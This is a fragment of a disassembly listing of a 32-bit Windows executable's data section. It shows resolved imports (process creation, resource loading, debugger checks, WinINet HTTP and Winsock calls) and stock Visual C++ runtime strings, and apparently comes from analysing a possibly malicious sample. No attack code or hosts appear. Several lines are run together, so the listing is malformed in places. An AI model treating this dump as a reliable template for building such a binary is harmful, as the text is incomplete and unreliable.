dword_41C074	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_41C078	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_419D84:loc_419DDCr
dword_41C07C	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceAdword_41C080	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_41C084	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_40376E+10Dr ...
dword_41C088	dd 7C80A017h	; resolved to->KERNEL32.SetEvent					; sub_403151+241r ...
dword_41C08C	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryA					; sub_4047AC+20r ...
dword_41C090	dd 7C802442h	; resolved to->KERNEL32.Sleep					; .vty:00403929r ...
dword_41C094	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResourcedword_41C098	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventAdword_41C09C	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_41C0A0	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_4107B2-1CCr ...
dword_41C0A4	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_403E41+100r ...
dword_41C0A8	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiA					; sub_404B2B+3F7r
dword_41C0AC	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_411D53+49r ...
dword_41C0B0	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesAdword_41C0B4	dd 7C80A03Bh	; resolved to->KERNEL32.ResetEvent					; sub_403151+24Dr
dword_41C0B8	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_41C0BC	dd 7C812D56h	; resolved to->KERNEL32.GetSystemInfodword_41C0C0	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_41422C+99r ...
dword_41C0C4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_411D53+39r ...
dword_41C0C8	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_41C0CC	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_416C79+1r ...
dword_41C0D0	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_4107B2-192r
dword_41C0D4	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_4033DA+D5r ...
dword_41C0D8	dd 7C8350BFh	; resolved to->KERNEL32.GetTimeZoneInformationdword_41C0DC	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTimedword_41C0E0	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatAdword_41C0E4	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatAdword_41C0E8	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_41C0EC	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounterdword_41C0F0	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_41C0F4	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_41C0F8	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_41C0FC	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_41A5AF+2A3r ...
dword_41C100	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_40460B+19Ar ...
dword_41C104	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_416B2C+FCr
dword_41C108	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_416B2C+F5r
dword_41C10C	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilter					; sub_41411B+E5r ...
dword_41C110	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_41411B+DBr ...
dword_41C114	dd 7C813093h	; resolved to->KERNEL32.IsDebuggerPresent					; sub_416B2C+B9r
dword_41C118	dd 7C8017E5h	; resolved to->KERNEL32.GetSystemTimeAsFileTime					; sub_415C79+35r
dword_41C11C	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; .vty:0041046Fr
dword_41C120	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadId					; sub_411F7A+60r ...
dword_41C124	dd 7C810637h	; resolved to->KERNEL32.CreateThreaddword_41C128	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_41C12C	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_4107B2-159r ...
dword_41C130	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_411069+Fr ...
dword_41C134	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap					; sub_41A3FB+67r ...
dword_41C138	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_41C13C	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_41C140	dd 7C809740h	; resolved to->KERNEL32.TlsGetValue					; sub_411DBF+7r ...
dword_41C144	dd 7C812D9Fh	; resolved to->KERNEL32.TlsAlloc					; sub_41219F:loc_41223Er
dword_41C148	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValue					; sub_412136+62r ...
dword_41C14C	dd 7C8136D7h	; resolved to->KERNEL32.TlsFree					; sub_41219F+85r
dword_41C150	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_412E01+84r ...
dword_41C154	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Error					; sub_4182CC+ABr
dword_41C158	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrement					; sub_412E01+59r ...
dword_41C15C	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_41C160	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_412F1F+56r ...
dword_41C164	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_41C168	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_41C16C	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_4135A3+365r
dword_41C170	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_41440F+1EFr ...
dword_41C174	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_41844E:loc_4184D1r ...
dword_41C178	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_4135A3+144r ...
dword_41C17C	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_41440F+212r ...
dword_41C180	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_41593C+1B5r
dword_41C184	dd 7C8740E3h	; resolved to->KERNEL32.GetConsoleCPdword_41C188	dd 7C81AF14h	; resolved to->KERNEL32.GetConsoleModedword_41C18C	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsA					; sub_415807+126r
dword_41C190	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsAdword_41C194	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41C198	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_41C19C	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_41C1A0	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_41593C+1C7r ...
dword_41C1A4	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_41C1A8	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreate		align 10h
dword_41C1B0	dd 7E418F9Ch	; resolved to->USER32.GetSystemMetricsdword_41C1B4	dd 7E41BD76h	; resolved to->USER32.GetCursorPos		dd 0
dword_41C1BC	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlAdword_41C1C0	dd 42C249F2h	; resolved to->WININET.InternetConnectAdword_41C1C4	dd 42C2ABF4h	; resolved to->WININET.InternetReadFile					; sub_403E41+368r ...
dword_41C1C8	dd 42C24399h	; resolved to->WININET.HttpOpenRequestA					; sub_403E41+27Cr ...
dword_41C1CC	dd 42C2CD78h	; resolved to->WININET.HttpSendRequestA					; sub_403E41+2D9r ...
dword_41C1D0	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandle					; sub_403E41+178r ...
dword_41C1D4	dd 42C2C8A1h	; resolved to->WININET.InternetOpenAdword_41C1D8	dd 42C20CC1h	; resolved to->WININET.HttpQueryInfoA					; sub_403E41+31Br ...
		align 10h
dword_41C1E0	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40D355+52r
dword_41C1E4	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_40CCCC+1Cr
dword_41C1E8	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_40CC9C+2r
dword_41C1EC	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_40CCCC+B6r
dword_41C1F0	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40D66E+17r
dword_41C1F4	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_41C1F8	dd 71AB4428h	; resolved to->WS2_32.WSACleanupdword_41C1FC	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_403A28+B1r ...
dword_41C200	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_40B642+73r ...
dword_41C204	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_40CCCC+C8r
dword_41C208	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_41C20C	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_41C210	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError					; sub_40D355+62r ...
dword_41C214	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_40D602+4Ar
dword_41C218	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_40CCCC+62r
		align 10h
dword_41C220	dd 0		dword_41C224	dd 0		dword_41C228	dd 0				dd offset sub_40DB55
		dd offset sub_412A84
		dd offset sub_413264
		dd offset sub_413A88
		dd offset sub_418441
		dd offset sub_415D79
dword_41C244	dd 0		dword_41C248	dd 0				dd offset sub_41ACD2
		dd offset sub_413B39
dword_41C254	dd 0		dword_41C258	dd 0				dd offset sub_415D9A
dword_41C260	dd 0Bh dup(0)			dd offset dword_41F3C0
off_41C290	dd offset loc_40100B	; DATA XREF: .vty:loc_401000o
					; .vty:0040100Eo ...
		dd offset sub_40D947
		dd offset dword_41F490
off_41C29C	dd offset loc_4018D0	; DATA XREF: sub_401869+20o
					; sub_4018A5+Ao ...
; ---------------------------------------------------------------------------
		retn	4018h
; ---------------------------------------------------------------------------
		align 4
		dd offset dword_41F440
off_41C2A8	dd offset loc_4018F7	; DATA XREF: .vty:loc_4018ECo
					; .vty:004018FAo ...
; ---------------------------------------------------------------------------
		retn	4018h
; ---------------------------------------------------------------------------
		align 10h
		dd offset dword_41F6A4
off_41C2B4	dd offset loc_408185	; DATA XREF: sub_40817Ao
					; .vty:00408188o ...
; ---------------------------------------------------------------------------
		retn	4018h
; ---------------------------------------------------------------------------
		align 4
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_40D784+Co
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_40D7C3+Co
		dd offset dword_41F298
off_41C2E8	dd offset loc_40D954	; DATA XREF: sub_40D862+Ao
					; sub_40D873+9o ...
		dd offset sub_40D947
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_40D947+7o
		align 4
		dd offset dword_41F2AC
off_41C308	dd offset loc_40DE18	; DATA XREF: sub_40DE0A+1o
					; .vty:off_423014o ...
		align 10h
aVisualCCrtNotE	db 'Visual C++ CRT: Not enough memory to complete call to strerror.',0
					; DATA XREF: sub_40F6FC+Fo
					; sub_40F6FC+32o
dword_41C350	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h
byte_41C368	db 0			; DATA XREF: sub_4113BB+177r
		align 10h
aNull:					; DATA XREF: .vty:off_4231B4o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .vty:off_4231B0o
		align 4
byte_41C388	db 6			; DATA XREF: sub_4113BB:loc_411544r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38202800h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707800h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aEncodepointer	db 'EncodePointer',0    ; DATA XREF: sub_411D53+43o
					; sub_411EC6+2Eo
		align 4
aKernel32_dll_0	db 'KERNEL32.DLL',0     ; DATA XREF: sub_411D53:loc_411D87o
					; sub_411DBF:loc_411DF3o ...
		align 4
aDecodepointer	db 'DecodePointer',0    ; DATA XREF: sub_411DBF+43o
					; sub_411EC6+42o
		align 4
aFlsfree	db 'FlsFree',0          ; DATA XREF: sub_41219F+44o
aFlssetvalue	db 'FlsSetValue',0      ; DATA XREF: sub_41219F+37o
aFlsgetvalue	db 'FlsGetValue',0      ; DATA XREF: sub_41219F+2Ao
aFlsalloc	db 'FlsAlloc',0         ; DATA XREF: sub_41219F+22o
		align 10h
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_4124BD+Fo
		align 10h
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_4124BDo
aIllegalByteSeq	db 'Illegal byte sequence',0 ; DATA XREF: .vty:00423278o
		align 4
aDirectoryNotEm	db 'Directory not empty',0 ; DATA XREF: .vty:00423274o
aFunctionNotImp	db 'Function not implemented',0 ; DATA XREF: .vty:00423270o
		align 4
aNoLocksAvailab	db 'No locks available',0 ; DATA XREF: .vty:0042326Co
		align 4
aFilenameTooLon	db 'Filename too long',0 ; DATA XREF: .vty:00423268o
		align 4
aResourceDeadlo	db 'Resource deadlock avoided',0 ; DATA XREF: .vty:00423260o
		align 4
aResultTooLarge	db 'Result too large',0 ; DATA XREF: .vty:00423258o
		align 4
aDomainError	db 'Domain error',0     ; DATA XREF: .vty:00423254o
		align 4
aBrokenPipe	db 'Broken pipe',0      ; DATA XREF: .vty:00423250o
aTooManyLinks	db 'Too many links',0   ; DATA XREF: .vty:0042324Co
		align 4
aReadOnlyFileSy	db 'Read-only file system',0 ; DATA XREF: .vty:00423248o
		align 10h
aInvalidSeek	db 'Invalid seek',0     ; DATA XREF: .vty:00423244o
		align 10h
aNoSpaceLeftOnD	db 'No space left on device',0 ; DATA XREF: .vty:00423240o
aFileTooLarge	db 'File too large',0   ; DATA XREF: .vty:0042323Co
		align 4
aInappropriateI	db 'Inappropriate I/O control operation',0 ; DATA XREF: .vty:00423234o
aTooManyOpenFil	db 'Too many open files',0 ; DATA XREF: .vty:00423230o
aTooManyOpenF_0	db 'Too many open files in system',0 ; DATA XREF: .vty:0042322Co
		align 10h
aInvalidArgumen	db 'Invalid argument',0 ; DATA XREF: .vty:00423228o
		align 4
aIsADirectory	db 'Is a directory',0   ; DATA XREF: .vty:00423224o
		align 4
aNotADirectory	db 'Not a directory',0  ; DATA XREF: .vty:00423220o
aNoSuchDevice	db 'No such device',0   ; DATA XREF: .vty:0042321Co
		align 4
aImproperLink	db 'Improper link',0    ; DATA XREF: .vty:00423218o
		align 4
aFileExists	db 'File exists',0      ; DATA XREF: .vty:00423214o
aResourceDevice	db 'Resource device',0  ; DATA XREF: .vty:00423210o
aUnknownError	db 'Unknown error',0    ; DATA XREF: .vty:0042320Co
					; .vty:00423238o ...
		align 10h
aBadAddress	db 'Bad address',0      ; DATA XREF: .vty:00423208o
aPermissionDeni	db 'Permission denied',0 ; DATA XREF: .vty:00423204o
		align 10h
aNotEnoughSpace	db 'Not enough space',0 ; DATA XREF: .vty:00423200o
		align 4
aResourceTempor	db 'Resource temporarily unavailable',0 ; DATA XREF: .vty:004231FCo
		align 4
aNoChildProcess	db 'No child processes',0 ; DATA XREF: .vty:004231F8o
		align 4
aBadFileDescrip	db 'Bad file descriptor',0 ; DATA XREF: .vty:004231F4o
aExecFormatErro	db 'Exec format error',0 ; DATA XREF: .vty:004231F0o
		align 4
aArgListTooLong	db 'Arg list too long',0 ; DATA XREF: .vty:004231ECo
		align 4
aNoSuchDeviceOr	db 'No such device or address',0 ; DATA XREF: .vty:004231E8o
		align 4
aInputOutputErr	db 'Input/output error',0 ; DATA XREF: .vty:004231E4o
		align 4
aInterruptedFun	db 'Interrupted function call',0 ; DATA XREF: .vty:004231E0o
		align 4
aNoSuchProcess	db 'No such process',0  ; DATA XREF: .vty:004231DCo
aNoSuchFileOrDi	db 'No such file or directory',0 ; DATA XREF: .vty:004231D8o
		align 10h
aOperationNotPe	db 'Operation not permitted',0 ; DATA XREF: .vty:004231D4o
aNoError	db 'No error',0         ; DATA XREF: .vty:off_4231D0o
		align 8
dword_41C798	dd 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h
		dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h
		dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h
		dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh
		dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h
		dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h
		dd 7C7B7A79h, 7F7E7Dh, 3Dh
dword_41C81C	dd 0							; sub_41844E+27o
dword_41C820	dd 3D736363h, 0	dword_41C828	dd 2D465455h, 38hdword_41C830	dd 2D465455h, 454C3631h, 0aUnicode	db 'UNICODE',0          ; DATA XREF: sub_413BFD:loc_413E17o
aRuntimeError	db 'runtime error ',0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError_0	db 'DOMAIN error',0Dh,0Ah,0
		align 8
aR6034AnApplica	db 'R6034',0Dh,0Ah
		db 'An application has made an attempt to load the C runtime library '
		db 'incorrectly.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 8
aR6033AttemptTo	db 'R6033',0Dh,0Ah
		db '- Attempt to use MSIL code from this assembly during native code '
		db 'initialization',0Ah
		db 'This indicates a bug in your application. It is most likely the r'
		db 'esult of calling an MSIL-compiled (/clr) function from a native c'
		db 'onstructor or from DllMain.',0Dh,0Ah,0
		align 10h
aR6032NotEnough	db 'R6032',0Dh,0Ah
		db '- not enough space for locale information',0Dh,0Ah,0
		align 8
aR6031AttemptTo	db 'R6031',0Dh,0Ah
		db '- Attempt to initialize the CRT more than once.',0Ah
		db 'This indicates a bug in your application.',0Dh,0Ah,0
		align 4
aR6030CrtNotIni	db 'R6030',0Dh,0Ah
		db '- CRT not initialized',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .vty:off_423B2Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41422C+157o
		align 10h
asc_41CDC0	db 0Ah			; DATA XREF: sub_41422C:loc_41433Co
		db 0Ah,0
		align 4
a___		db '...',0              ; DATA XREF: sub_41422C+E8o
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41422C+A3o
		align 10h
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41422C+5Bo
		db 0Ah
		db 'Program: ',0
		align 4
off_41CDFC	dd offset sub_415FB1	; DATA XREF: sub_412800+F1r
					; sub_412800+FAo ...
		dd offset dword_41F2F4
off_41CE04	dd offset loc_415DC9	; DATA XREF: sub_415DBEo
					; .vty:00415DCCo ...
		dd offset sub_40D947
dword_41CE0C	dd 20646162h, 65637865h, 6F697470h, 6Ehoff_41CE1C	dd offset dword_424890	; DATA XREF: sub_416B2C+D4o
		dd offset dword_4248E8
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_4182CC+53o
		align 4
aCompleteObject	db ' Complete Object Locator',27h,0 ; DATA XREF: .vty:0041D424o
		align 4
aClassHierarchy	db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: .vty:0041D420o
		align 4
aBaseClassArray	db ' Base Class Array',27h,0 ; DATA XREF: .vty:0041D41Co
		align 4
aBaseClassDescr	db ' Base Class Descriptor at (',0 ; DATA XREF: .vty:0041D418o
aTypeDescriptor	db ' Type Descriptor',27h,0 ; DATA XREF: .vty:0041D414o
		align 4
aLocalStaticThr	db '`local static thread guard',27h,0 ; DATA XREF: .vty:0041D560o
aManagedVectorC	db '`managed vector copy constructor iterator',27h,0
					; DATA XREF: .vty:0041D55Co
		align 4
aVectorVbaseCop	db '`vector vbase copy constructor iterator',27h,0
					; DATA XREF: .vty:0041D558o
		align 10h
aVectorCopyCons	db '`vector copy constructor iterator',27h,0 ; DATA XREF: .vty:0041D554o
		align 4
aDynamicAtexitD	db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: .vty:0041D550o
		align 4
aDynamicInitial	db '`dynamic initializer for ',27h,0 ; DATA XREF: .vty:0041D54Co
		align 4
aEhVectorVbaseC	db '`eh vector vbase copy constructor iterator',27h,0
					; DATA XREF: .vty:0041D548o
aEhVectorCopyCo	db '`eh vector copy constructor iterator',27h,0 ; DATA XREF: .vty:0041D544o
		align 4
aManagedVectorD	db '`managed vector destructor iterator',27h,0 ; DATA XREF: .vty:0041D540o
		align 10h
aManagedVecto_0	db '`managed vector constructor iterator',27h,0 ; DATA XREF: .vty:0041D53Co
		align 4
aPlacementDelet	db '`placement delete[] closure',27h,0 ; DATA XREF: .vty:0041D538o
		align 4
aPlacementDel_0	db '`placement delete closure',27h,0 ; DATA XREF: .vty:0041D534o
		align 4
aOmniCallsig	db '`omni callsig',27h,0 ; DATA XREF: .vty:0041D530o
		align 4
aDelete		db ' delete[]',0        ; DATA XREF: .vty:0041D52Co
		align 10h
aNew		db ' new[]',0           ; DATA XREF: .vty:0041D528o
		align 4
aLocalVftableCo	db '`local vftable constructor closure',27h,0 ; DATA XREF: .vty:0041D524o
aLocalVftable	db '`local vftable',27h,0 ; DATA XREF: .vty:0041D520o
aRtti		db '`RTTI',0            ; DATA XREF: .vty:0041D51Co
		align 4
aEh		db '`EH',0              ; DATA XREF: .vty:0041D518o
aUdtReturning	db '`udt returning',27h,0 ; DATA XREF: .vty:0041D514o
aCopyConstructo	db '`copy constructor closure',27h,0 ; DATA XREF: .vty:0041D510o
		align 4
aEhVectorVbas_0	db '`eh vector vbase constructor iterator',27h,0 ; DATA XREF: .vty:0041D50Co
		align 4
aEhVectorDestru	db '`eh vector destructor iterator',27h,0 ; DATA XREF: .vty:0041D508o
aEhVectorConstr	db '`eh vector constructor iterator',27h,0 ; DATA XREF: .vty:0041D504o
		align 10h
aVirtualDisplac	db '`virtual displacement map',27h,0 ; DATA XREF: .vty:0041D500o
		align 4
aVectorVbaseCon	db '`vector vbase constructor iterator',27h,0 ; DATA XREF: .vty:0041D4FCo
aVectorDestruct	db '`vector destructor iterator',27h,0 ; DATA XREF: .vty:0041D4F8o
		align 10h
aVectorConstruc	db '`vector constructor iterator',27h,0 ; DATA XREF: .vty:0041D4F4o
		align 10h
aScalarDeleting	db '`scalar deleting destructor',27h,0 ; DATA XREF: .vty:0041D4F0o
		align 10h
aDefaultConstru	db '`default constructor closure',27h,0 ; DATA XREF: .vty:0041D4ECo
		align 10h
aVectorDeleting	db '`vector deleting destructor',27h,0 ; DATA XREF: .vty:0041D4E8o
		align 10h
aVbaseDestructo	db '`vbase destructor',27h,0 ; DATA XREF: .vty:0041D4E4o
		align 4
aString		db '`string',27h,0      ; DATA XREF: .vty:0041D4E0o
		align 10h
aLocalStaticGua	db '`local static guard',27h,0 ; DATA XREF: .vty:0041D4DCo
		align 4
aTypeof		db '`typeof',27h,0      ; DATA XREF: .vty:0041D4D8o
		align 4
aVcall		db '`vcall',27h,0       ; DATA XREF: .vty:0041D4D4o
aVbtable	db '`vbtable',27h,0     ; DATA XREF: .vty:0041D4D0o
		align 4
aVftable	db '`vftable',27h,0     ; DATA XREF: .vty:0041D4CCo
		align 4
asc_41D2C4	db '^=',0               ; DATA XREF: .vty:0041D4C8o
		align 4
asc_41D2C8	db '|=',0               ; DATA XREF: .vty:0041D4C4o
		align 4
asc_41D2CC	db '&=',0               ; DATA XREF: .vty:0041D4C0o
		align 10h
asc_41D2D0	db '<<=',0              ; DATA XREF: .vty:0041D4BCo
asc_41D2D4	db '>>=',0              ; DATA XREF: .vty:0041D4B8o
asc_41D2D8	db '%=',0               ; DATA XREF: .vty:0041D4B4o
		align 4
asc_41D2DC	db '/=',0               ; DATA XREF: .vty:0041D4B0o
		align 10h
asc_41D2E0	db '-=',0               ; DATA XREF: .vty:0041D4ACo
		align 4
asc_41D2E4	db '+=',0               ; DATA XREF: .vty:0041D4A8o
		align 4
asc_41D2E8	db '*=',0               ; DATA XREF: .vty:0041D4A4o
		align 4
asc_41D2EC	db '||',0               ; DATA XREF: .vty:0041D4A0o
		align 10h
asc_41D2F0	db '&&',0               ; DATA XREF: .vty:0041D49Co
		align 4
asc_41D2F4:				; DATA XREF: .vty:0041D498o
		unicode	0, <|>,0
asc_41D2F8:				; DATA XREF: .vty:0041D494o
		unicode	0, <^>,0
asc_41D2FC:				; DATA XREF: .vty:0041D490o
		unicode	0, <~>,0
asc_41D300	db '()',0               ; DATA XREF: .vty:0041D48Co
		align 4
asc_41D304:				; DATA XREF: .vty:0041D488o
		unicode	0, <,>,0
asc_41D308	db '>=',0               ; DATA XREF: .vty:0041D484o
		align 4
asc_41D30C:				; DATA XREF: .vty:0041D480o
		dw 3Eh
		unicode	0, <>,0
asc_41D310	db '<=',0               ; DATA XREF: .vty:0041D47Co
		align 4
asc_41D314:				; DATA XREF: .vty:0041D478o
		dw 3Ch
		unicode	0, <>,0
asc_41D318:				; DATA XREF: .vty:0041D474o
		unicode	0, <%>,0
asc_41D31C:				; DATA XREF: .vty:0041D470o
		unicode	0, </>,0
asc_41D320	db '->*',0              ; DATA XREF: .vty:0041D46Co
asc_41D324:				; DATA XREF: .vty:0041D468o
		unicode	0, <&>,0
asc_41D328:				; DATA XREF: .vty:0041D464o
		unicode	0, <+>,0
asc_41D32C:				; DATA XREF: .vty:0041D460o
		unicode	0, <->,0
asc_41D330	db '--',0               ; DATA XREF: .vty:0041D45Co
		align 4
asc_41D334	db '++',0               ; DATA XREF: .vty:0041D458o
		align 4
asc_41D338:				; DATA XREF: .vty:0041D454o
		unicode	0, <*>,0
asc_41D33C	db '->',0               ; DATA XREF: .vty:0041D450o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: .vty:0041D44Co
		align 4
asc_41D34C	db '[]',0               ; DATA XREF: .vty:0041D448o
		align 10h
asc_41D350	db '!=',0               ; DATA XREF: .vty:0041D444o
		align 4
asc_41D354	db '==',0               ; DATA XREF: .vty:0041D440o
		align 4
asc_41D358:				; DATA XREF: .vty:0041D43Co
		unicode	0, <!>,0
asc_41D35C	db '<<',0               ; DATA XREF: .vty:0041D438o
		align 10h
asc_41D360	db '>>',0               ; DATA XREF: .vty:0041D434o
		align 4
aDelete_0	db ' delete',0          ; DATA XREF: .vty:0041D42Co
aNew_0		db ' new',0             ; DATA XREF: .vty:0041D428o
		align 4
a__unaligned	db '__unaligned',0      ; DATA XREF: .vty:0041D40Co
a__restrict	db '__restrict',0       ; DATA XREF: .vty:0041D408o
		align 4
; a__ptr64
a__ptr64	db '__ptr64',0          ; DATA XREF: .vty:0041D404o
a__clrcall	db '__clrcall',0        ; DATA XREF: .vty:0041D400o
		align 10h
a__fastcall	db '__fastcall',0       ; DATA XREF: .vty:0041D3FCo
		align 4
a__thiscall	db '__thiscall',0       ; DATA XREF: .vty:0041D3F8o
		align 4
a__stdcall	db '__stdcall',0        ; DATA XREF: .vty:0041D3F4o
		align 4
a__pascal	db '__pascal',0         ; DATA XREF: .vty:0041D3F0o
		align 10h
a__cdecl	db '__cdecl',0          ; DATA XREF: .vty:0041D3ECo
a__based	db '__based(',0         ; DATA XREF: .vty:0041D3E8o
		align 8
		dd offset a__based	; "__based("
		dd offset a__cdecl	; "__cdecl"
		dd offset a__pascal	; "__pascal"
		dd offset a__stdcall	; "__stdcall"
		dd offset a__thiscall	; "__thiscall"
		dd offset a__fastcall	; "__fastcall"
		dd offset a__clrcall	; "__clrcall"
